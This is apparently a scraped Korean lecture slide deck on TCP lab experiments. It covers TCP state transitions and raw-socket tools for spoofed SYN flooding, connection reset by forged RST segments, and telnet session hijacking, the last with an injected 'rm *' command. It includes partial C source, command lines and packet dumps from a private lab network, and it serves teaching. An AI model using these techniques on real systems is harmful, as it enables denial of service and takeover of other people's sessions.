TCP/IP Network Experimental Programming [TCP의 실험]

Slides:



Advertisements
Similar presentations
을지대학교 무선 네트워크 사용 방법 2010 년 06 월 01 일. 을지대학교 무선 네트워크 사용 방법 1. PC 무선랜 카드 활성화 및 체크 1 단계 : 시작 -> 설정 -> 네트워크 설정 2 단계 : 무선 네트워크 설정 선택 -> 마우스 버튼 오른쪽 클릭 -> 사용.
Advertisements

TCP / IP. TCP & UDP  TCP (Transmission Control Protocol) - Connection-Oriented Protocol - Error 체크기능 - Sequencing - Acknowledgments - Flow Control -
Chapter 4. 캡처한 패킷 작업 1. 목차  4.1 캡처 파일 작업 ☞ 캡처 된 패킷 저장과 내보내기 ☞ 캡처 된 패킷 병합  4.2 패킷 작업 ☞ 패킷 검색 ☞ 패킷 표시 ☞ 패킷 출력  4.3 시간 표시.
12장. Raw 소켓 Raw 소켓의 특징과 사용 방법을 익힌다. Ping 프로그램의 동작 원리를 이해하고 작성 방법을 익힌다.
정보 보안 개론과 실습 네트워크 해킹과 보안 3부 해킹 전 정보 획득 Chapter 10. 목록화.
제 18 장 TCP/IP 연결 확립과 종료.
16장 X.25 패킷 교환망 16.1 X.25 계층 구조 16.2 패킷 계층 프로토콜 16.3 요약.
인공지능실험실 석사 2학기 이희재 TCP/IP Socket Programming… 제 11장 프로세스간 통신 인공지능실험실 석사 2학기 이희재
TCP/IP Network Experimental Programming [IPv6에 의한 통신 실험]
22 장 프로세스간 전달 : UDP와 TCP 22.1 프로세스간 전달 22.2 사용자 데이터그램 프로토콜
TCP/IP Socket Cover Slide 조태문.
Network Lab. Young-Chul Hwang
1. 왜 의사헤더를 추가하나? 1 / 32 UDP 데이터그램이 목적지에 제대로 전송됐는지 확인하기 위해
제 1장 인터네트워킹.
소켓 모델 주소 지정 in_addr_t inet_addr(const char *ip_address) 연결 지향 모델 (TCP)
TCP/IP Socket Cover Slide 조태문.
24 장 TCP/IP 24.1 개요 24.2 네트워크층 24.3 주소 지정 24.4 서브넷팅틍
제 18 장 TCP/IP 연결 확립과 종료 정보통신연구실.
네트워크 보안 TCP/IP 네트워크통신 개념.
TCP/IP Network Experimental Programming [패킷 모니터링 실험]
Multimedia & Mobile Communications Lab.
Chapter 11. Raw 소켓.
IP와 ICMP의 실험 Jae-dong kim 네트워크 실험실.
ARP의 실험 발표자 : 이직수
제 17 장 TCP : 전송 제어 프로토콜 정보통신연구실.
제 14장 Multicast & Broadcast
PART 02 프로토콜 컴퓨터 네트워크 chapter 06 트랜스포트 계층 임효택.
한남대학교 컴퓨터공학과 컴퓨터 네트워크 실험실
인공지능실험실 석사 2학기 이희재 TCP/IP Socket Programming… 제 7장 소켓 연결의 우아한 종료 인공지능실험실 석사 2학기 이희재
Linux서버를 이용한 채팅프로그램 지도 교수님 : 이형원 교수님 이 름 : 이 은 영 학 번 :
1. 연결종료 1 / 38 4way handshake와 상태 천이
Chapter 21 Network Layer: ARP, ICMP (IGMP).
제 19 장 TFTP 19.1 메시지 19.2 연결 19.3 데이터 전송 19.4 UTP 포트 19.5 TFTP 예제
Chapter 06. UDP 서버/클라이언트.
인공지능실험실 박사 1학기 장성만 TCP/IP Socket Programming… 9장 소켓의 다양한 옵션 인공지능실험실 박사 1학기 장성만
TCP/IP 응용 프로그램에 적용 가능한 다양한 소켓 옵션을 이해하고 활용한다.
NJM Messenger 박상원 박연호.
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
메시지 큐[5] – test1.c 메시지 제어: msgctl(2) #include <sys/msg.h>
ARP Project 조 충 호 교수님 김 세 진 조교님 조 진 형 변 익 수
프로젝트 발표 순서 12/7(수), 팀 별 15분 발표순서 PPT (팀 별 이름, 구현 내용, 결과-그래프 포함) 각 기법당
13장 고급 입출력 함수 박사 4학기 최 성자.
TCP/IP Socket Programming…
Socket Address Structure and Byte Ordering Functions
Socket Address Structure and Byte Ordering Functions
제 22 장 TCP Persist Timer.
Chapter 5 UDP Socket 소켓 프로그래밍.
WOL(Wake-On Lan) 컴퓨터공학과 4학년 박기웅.
Chapter 15 Transmission Control Protocol (TCP).
Chapter 07. 소켓 옵션.
Network Security WireShark를 활용한 프로토콜 분석 I.
TCP/IP 응용 프로그램에 적용 가능한 다양한 소켓 옵션을 이해하고 활용한다.
22 장 전송층(Transport Layer)
제 15 장 BOOTP와 DHCP BOOTP 15.2 동적 호스트 설정 프로토콜.
Transmission Control Protocol (TCP)
21 장 전송층(Transport Layer)
김 지 현 기초부터 배우는 TCP/IP 네트워크 제1장 TCP/IP 프로토콜 스택 입문 김 지 현
제 12 장 전송 제어 프로토콜(TCP) 12.1 프로세스간 통신 12.2 TCP 서비스 12.3 세그먼트 12.4 옵션
TCP/IP 네트워크 구조 TCP/IP 개요 TCP/IP 프로토콜 한빛미디어(주).
9 TCP의 이해 학습 목표 전송 계층 프로토콜이 제공하는 기능을 이해한다.
Network 네트워크 이론 및 실습 TCP / IP 4장.
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
제 19 장 TCP 대화식 데이터 흐름.
Chapter 27 Mobile IP.
Chapter 04. TCP 서버/클라이언트.
01. 분산 파일 시스템의 개요 네트워크에 분산된 파일을 사용자가 쉽게 접근하고 관리할 수 있게 해준다.
Information Security - Network Scanning.
인공지능실험실 박사 1학기 장성만 TCP/IP Socket Programming… 제 8장 도메인 이름과 인터네 주소 인공지능실험실 박사 1학기 장성만
Network Lab. Young-Chul Hwang
ARP.
Presentation transcript:

TCP/IP Network Experimental Programming [TCP의 실험] 고 준 상 네트워크 실험실

목차[1] TCP란 TCP SYN프로그램 TCP와 상태천이 상태천이와 커넥션 연결 및 차단 tcp syn의 개요

목차[2] TCP RST 프로그램 TCP JACK 프로그램 tcp rst의 개요 tcp rst의 사용방법

TCP와 상태천이[1] TCP의 상태천이

TCP와 상태천이[2] TCP의 상태표시 netstat 명령어 -FreeBSD –f inet –n(ip 주소나 port 번호를 숫자로) -Linux –t 옵션

TCP와 상태천이[3] FreeBSD –f inet –n #netstat –f inet -n Active Internet connectios Proto Recv-Q Send-Q Local Address Foreign Address State tcp4 0 0 192.168.3.104.23 192.168.4.14:50212 TIME_WAIT tcp4 0 0 192.168.3.104.23 192.168.0.7:64682 ESTABLISHED tcp4 0 0 192.168.3.104.23 192.168.0.7:10427 ESTABLISHED Proto : 사용프로토콜 tcp4=IPV4 , tcp6=IPV6 Recv-Q Send-Q : 송,수신버퍼에 저장되어 있는 패켓의 바이트수 Local Address : netstat을 실행한 호스트의 IP Address와 PORT번호 Foreign Address : 통신상대의 IP Address와 PORT번호 State : TCP상태 천이도내의 상태

TCP와 상태천이[4] Linux –t 옵션 # netstat –tn Active Internet connectios(w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 192.168.3.51:80 192.168.0.7:11680 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.104:32938 STABLISHED tcp 0 0 192.168.3.51:80 192.168.4.14:50211 FIN_WAIT2 tcp 0 0 192.168.3.51:80 192.168.4.14:50212 FIN_WAIT2 tcp 0 1319 192.168.3.51:80 192.168.0.7:64682 ESTABLISHED tcp 0 0 192.168.3.51:80 192.168.0.7:10427 TIME_WAIT Proto : 사용프로토콜 tcp4=IPV4 , tcp6=IPV6 Recv-Q Send-Q : 송,수신버퍼에 저장되어 있는 패켓의 바이트수 Local Address : netstat을 실행한 호스트의 IP Address와 PORT번호 Foreign Address : 통신상대의 IP Address와 PORT번호 State : TCP상태 천이도내의 상태

TCP와 상태천이[5] HP - UX #netstat –inet -n

TCP와 상태천이[6] HP - UX #netstat –tn

상태천이와 커넥션 연결 및 차단[1] TCP의 커넥션 연결

상태천이와 커넥션 연결 및 차단[2] TCP의 커넥션 연결 클라이언트 서버 Connect call listen call 클라이언트 서버 Connect call listen call Syn송신 CLOSED->LISTEN CLOSED->SYN_SENT SYN수신, Syn,ACK 송신 Syn,ACK 수신 LISTEN->SYN_RCVD SYN_SENT->ESTABLISHED ACK송신 ACK수신 SYN_RCVD-> ESTABLISHED 커넥션 연결완료

상태천이와 커넥션 연결 및 차단[3] TCP의 커넥션 차단

상태천이와 커넥션 연결 및 차단[4] TCP의 커넥션 차단 Active close(능동적차단) : 자발적으로 FIN 세그먼트를 보낸상태 close system call우선 실행 Passive close(수동적차단): 상대로부터 FIN 세그먼트를 받은상태 능동 호스트A 수동 호스트B Close call FIN송신 FIN수신, ACK송신 ESTABLISHED->FIN_WAIT1 ESTABLISHED->CLOSE_WAIT ACK수신,ACK송신 FIN송신 FIN_WAIT1->FIN_WAIT2 CLOSE_WAIT->LAST ACK FIN수신 ACK수신 FIN_WAIT2->TIME_WAIT LAST_ACK->CLOSED TIME OUT= 2MSL TCP통신종료 TIME_WAIT->CLOSED TCP통신종료 ※ MSL(Maximum Segment Lifetime)

상태천이와 커넥션 연결 및 차단[5] TCP 커넥션의 동시연결과 동시차단

상태천이와 커넥션 연결 및 차단[6] SYN_SENT -> SYN_RCVD FIN_WAIT1 -> CLOSING TCP 커넥션의 동시연결과 동시차단 SYN_SENT -> SYN_RCVD FIN_WAIT1 -> CLOSING 커넥션 차단처리가 동시에 행해질때 송신한 FIN에 대한 ACK가 돌아오기전에 FIN이도달한 경우

상태천이와 커넥션 연결 및 차단[7] TCP 커넥션의 예외 RST FLAG가 설정된 세그먼트가 보내질때 LISTEN,SYN_RCVD일때 RST수신경우 LISTEN SYN_RCVD일때 RST수신경우 LISTEN 그밖의 상태 일때 -> CLOSED

TCP SYN 의 개요[1] 호스트 B 192.168.3.104 가공호스트 C 192.168.3.99 호스트 A 192.168.3.51 SYN ,ACK세그먼트를 송신한다(동일Ethernet 세그먼트의경우에는 ARP 가 성공되지 않으면 송신할수 없다) tcpsyn SYN 세그먼트를 송신한다 ① ② Dst_ip 192.168.3.104 Dst_port 23 Src_ip 192.168.3.99 V : 4 HL : 5 TOS : TL: ID : 0 F M FO : Src_port 5000 TTL : P : 6 CKSUM : IP 헤더 SRC IP : 192. 168. 3.99 DST IP : 192. 168. 3.104 SRC PORT : 5000 DST PORT : 23 SEQ 1 TCP 헤더 ACK :   WIN : CKSUM URG : 그림 8.5 tcp syn의 동작개요

TCP SYN 의 개요[2] TCP SYN의 개요 임의의 IP Address , port를 향해서 Source IP Address, Source port도 임의의 값 지정가능 동작개요 SYN 세그먼트 수신서버 SYN , ACK 보내기전의 PORT미존재시 송신안됨 syn 세그먼트 대량송신 [이이상 커넥션을 기다리지않음] 상태 커넥션연결불능(일정시간)

TCP SYN 의 사용방법 , 실행예[1] TCP SYN의 사용방법 src_ip src_port 실제 존재시 통신불능 WHY SYN 세그먼트 수신 호스트가 SYN,ACK 작성후 RST 세그먼트를 보내므로 TCP커넥션 제거됨 TCP SYN의 실행예 tcp syn dst_ip dst_port src_ip src_port seq ./tcp syn 192.168.3.104 23 192.168.3.99 5000 1 dst_ip dst_port src_ip src_port seq

TCP SYN 실행후 호스트B(FreeBSD)의 커넥션 상태 # netstat –f inet -n Active Internet connectios Proto Recv-Q Send-Q Local Address Foreign Address State tcp4 0 0 192.168.3.104.23 192.168.3.99.5000 SYN_RCVD 가공의 호스트C의 MAC 어드레스 획득불가로 되돌아온 ARP패킷만 Ethernet상에 흐름 ARP 모듈로부터 도달불능 통지 or SYN,ACK 세그먼트 여러 번 재전송으로 통신불능 상태일때까지 계속 ->Dos공격의 일종

TCP SYN 실행 예[3] 대량의 TCP SYN 송신 #pert -e 'for($i=1; $1<254; $i++) (print "./tcpsyn 192.168.3. 51 23 192.168.3. $i 1/n")' /sh) 커넥션 수신큐가 꽉차서 얼마간의 간격을 비우지 않으면 tcp 커넥션 불가능

TCP SYN 실행 예[4] 대량의 TCP SYN 송신후 (Linux) 1/2 # netstat -nt 192.168.3.1 192.168. 3.2 실제 존재 address 대량의 TCP SYN 송신후 (Linux) 1/2 # netstat -nt Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 192.168.3.51:23 192.168.3.3:3 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.4:4 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.5:5 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.6:6 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.7:7 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.8:8 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.9:9 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.10:10 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.11:11 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.13:13 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.14:14 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.15:15 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.16:16 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.17:17 SYN_RECV 192.168. 3.12 실제 존재 address

TCP SYN 실행 예[5] 대량의 TCP SYN 송신후 (Linux) 2/2 tcp 0 0 192.168.3.51:23 192.168.3.18:18 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.19:19 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.20:20 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.21:21 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.22:22 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.23:23 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.24:24 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.25:25 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.102:102 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.103:103 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.105:105 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.106:106 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.130:130 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.131:131 SYN_RECV tcp 0 0 192.168.3.51:23 192.168.3.132:132 SYN_RECV 192.168. 3.104 실제 존재 address 커넥션 수신큐full

TCP SYN 의 처리흐름[1] TCP SYN 함수구조도 make_tcp_header (TCP헤더를 작성한다) main checksum make_ip_header (IP헤더를 작성한다) 그림 8.6 tcpsyn의 함수구조도

TCP SYN 의 처리흐름[2] TCP SYN 함수구조도 송신패킷 작성시: 상위층부터 순서대로 작성 수신패킷 처리시: 시작 송신용 RAW소켓을 연다 송신패킷 작성시: 상위층부터 순서대로 작성 명령어 인수로부터 헤더로 설정된 값을 꺼낸다 TCP헤더를 작성 make_tcp_header IP헤더를 작성 make_ip_header 수신패킷 처리시: 하위층부터 순서대로 해석 패킷의 송신 (sendto) 소켓을 닫는다 (close) 종료 그림 8.7 tcp syn의 처리흐름

TCP SYN 프로그램 리스트의 해설[1]

TCP SYN 프로그램 리스트의 해설[2] IP 헤더, TCP 헤더 ,애플리케이션 데이터를 모듈로 가진 packet_tcp구조체 정의 packet_tcp구조체에 data저장 패킷송신 packet _tcp구조체 선언 44~48 44 struct packet_tcp{ 45 struct ip ip; 46 struct tcphdr tcp 47 u_char data[MAXDATA] 48 }; 변수선언 57 57 struct packet_tcp send; /* 송신 TCP 패킷 */

TCP SYN 프로그램 리스트의 해설[3] Raw 소켓 open 78~81 77 /* RAW 소켓의 오픈 */ 78 if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { 79 perror("socket(SOCK_RAW)"); 80 exit(EXIT_FAILURE); 81 } Raw 소켓설정변경 IP헤더 작성 84~87 83 /* IP 헤더를 스스로 작성 */ 84 if (setsockopt(s, IPPROTO_IP,IP_HDRINCL,&on, sizeof(on))<0) { 85 perror("setsockopt(IPPROTO_IP, IP_HDRINCL)"); 86 exit(EXIT_FAILURE); 87 }

TCP SYN 프로그램 리스트의 해설[4] 명령어 인수에 옵션으로 설정된 값 선별 90~99 89 /* 헤더값 설정 */ 89 /* 헤더값 설정 */ 90 memset((char *) &dest, 0, sizeof(dest)); 91 dest.sin_family = AF_INET; 92 dst_ip = dest.sin_addr.s_addr = inet_addr(argv[DST_IP]); 93 src_ip=inet_addr(argv[SRC_IP]); 94 sscanf(argv[DST_PORT], "%hu", &dst_port); 95 sscanf(argv[SRC_PORT], "%hu", &src_port); 96 sscanf(argv[SEQ], "%ul", &seq); 97 ack=0; 98 datalen = 0; 99 iplen =datalen + sizeof(send.ip) + sizeof(send.tcp); Src IP Address설정 93

TCP SYN 프로그램 리스트의 해설[5] Tcp 헤더작성 103 103 make_tcp_header(&send,src_ip,src_port, dst_ip, dst_port, seq, ack, datalen); IP 헤더작성 104 104 make_ip_header(&(send.ip) ,src_ip, dst_ip, iplen); 패킷송신 110~114 108 /* SYN 패킷 송신 */ 109 printf("SYN send to %s. \n", argv[DST_IP]); 110 if (sendto(s, (char *) &send, iplen, 0, (struct sockaddr *) &dest, 111 sizeof(dest)) < 0) { 112 perror("sendto") 113 exit(EXIT_FAILURE); 114 }

TCP SYN 프로그램 리스트의 해설[6] 패킷송신 110~114 Make_tcp_header함수는 IP헤더의 선두 어드레스를 인수로 수수 because 1) 체크섬을 없앤 TCP헤더 작성후에 2) IP헤더의 최후 8비트의 영역에 tcp의사헤더를 작성 3) 체크섬계산 tcp의사 헤더는 체크섬의 계산에만 이용 때문에 tcp헤더 작성후에 make_Ip_address함수에서 IP헤더작성시 Tcp 의사헤더의 영역을 적어서 IP address작성

TCP RST의 개요 , 사용방법 Tcp rst의 개요 TCP RST를 송신하는 프로그램 Tcp rst의 사용방법 ESTABLISHED 상태의 TCP커넥션 강제차단 Tcp rst의 사용방법 tcp rst dst_ip dst_port src_ip src_port seq ack

TCP RST 의 실행예[1]

TCP RST 의 실행예[2] Tcp rst의 실행예 ./ipdump –i eth0 –p ip tcp HOST-A tcpc HOST-D tcps 명령어 ---> 처리결과 -- 확인응답 -- ./ipdump –i eth0 –p ip tcp

TCP RST 의 실행예[3] 취득정보 Protocol: IP ----------------------------------------- IV:4 HL: 5 T: 00000000 Total Length 40 Identifier: 51643 FF:0D0 FO: 0 TTL: 64 Pro: 6 Header Checksum: 59727 Source IP Address: 192.168.3.12 취득정보(3) Destination IP Address 192.168.3.104 취득정보(1) Protocol: TCP Source PORT: 1117 Destination PORT: 5320 취득정보(4),(2) Sequence Number: 3224743332 취득정보(5) Acknowledgement Number: 1448811552 취득정보(6) Do: 5 Reserved F:0A0000 Window Size 32120 Checksum 45340 Urgent Pointer: 0

TCP RST 의 실행예[4] Tcp rst의 실행예 LAST PACKET취득정보를 tcprst의 인수로 지정실행 => 커넥션차단 # ./tcprst 192.168.3.104 5320 192.168.3.12 1117 3224743332 1448811552 reset 192.168.3.104 # ./tcprst 192.168.3.104 5320 192.168.3.12 1117 3224743332 0

TCP RST 의 실행예[5] Tcp rst실행후 Protocol: IP --------------------------------------------------- IV:4 HL: 5 T: 00000000 Total Length 40 Identifier: 51076 FF:000 FO: 0 TTL: 2 Pro: 6 Header Checksum: 27015 Source IP Address: 192.168.3.12 Destination IP Address 192.168.3.104 Protocol: TCP Source PORT: 1117 Destination PORT: 5320 Sequence Number: 3224743332 Acknowledgement Number: 1448811552 Do: 5 Reserved F:000R00 Window Size 8192 Checksum 3745 Urgent Pointer: 0

TCP RST 의 실행예[6] rst세그먼트 송신후

TCP RST 의 실행예[7] rst세그먼트 송신후 HOST-D에서는 패킷을 흐르지않게하고 커넥션정보를 초기화 HOST-A는 HOST-D가 커넥션정보를 제거한것을 알지못하며 HOST-A에 커넥션정보가 영구히 남게됨 문제해결 KEEP ALIVE 2시간마다 ACK패킷을 서로 보내서 통신상대가 존재하는지 여부확인 Application사이에서 정기적 메세지

TCP RST 프로그램 리스트의 해설 TCP SYN와의 차이점 1. 양면출력 메시지 2. 명령어인수가 하나많다(확인응답번호) 3. make_tcp_header 함수중의 packet->tcp.th_flags로 설정하고 있는 플래그

TCP JACK의 개요 TCP JACK의 개요 TCP 커넥션 제거명령 서버나 클라이언트에 대해서 한방향의 호스트에서

실행후 key 입력대기상태에서 보내고 싶은 문자열입력, enter TCP JACK의 사용방법 TCP JACK의 사용방법 tcpjack dst_ip dst_port src_ip src_port seq ack 실행후 key 입력대기상태에서 보내고 싶은 문자열입력, enter

TCP JACK의 실행예[1]

TCP JACK 의 실행예[2] HOST-C에서 ipdump실행 Ipdump에서 패킷모니터링하면서 HOST-A에서 Shownic 입력후 키보드 입력중지 -> 마지막 패킷은 HOST-A에서 HOST-D로 흐른 확인응답 패킷이 됨. 취득정보 숫자를 인수에 지정후 tcpjack실행 실행후에는 명령어 입력(키 입력대기상태가 되므로) ./ipdump –i eth0 –p ip tcp

TCP JACK 의 실행예[3] tcpjack 실행 Ipdump 모니터링 결과관찰(dump정보 문자부분) # ./tcpjack 192.168.3.104 5320 192.168.3.12 1144 873282651 308576770 show arp Jack 192.168.3.104 ?(192.168.3.12) at 0:10:5a:70:33:61 [ethernet]

TCP JACK 의 실행예[4] tcpjack 실행 ( telnet접속후) 클라이언트에 표시되는것과 같음  보안에 심각한 문제 보안성 높은 원격로그인 시스템사용필요(ex:ssh) # ./tcpjack 192.168.3.104 23 192.168.3.12 1125 2295934223 3075511583 cal rm *

TCP JACK 프로그램 리스트의 해설 TCP RST와의 차이점 1. 표준입력으로부터 메시지를 입력하는지 여부 2. 화면에 출력되는 메세지 3. make_tcp_header 함수중의 packet->tcp.th_flags로 설정하고 있는 플래그

Q & A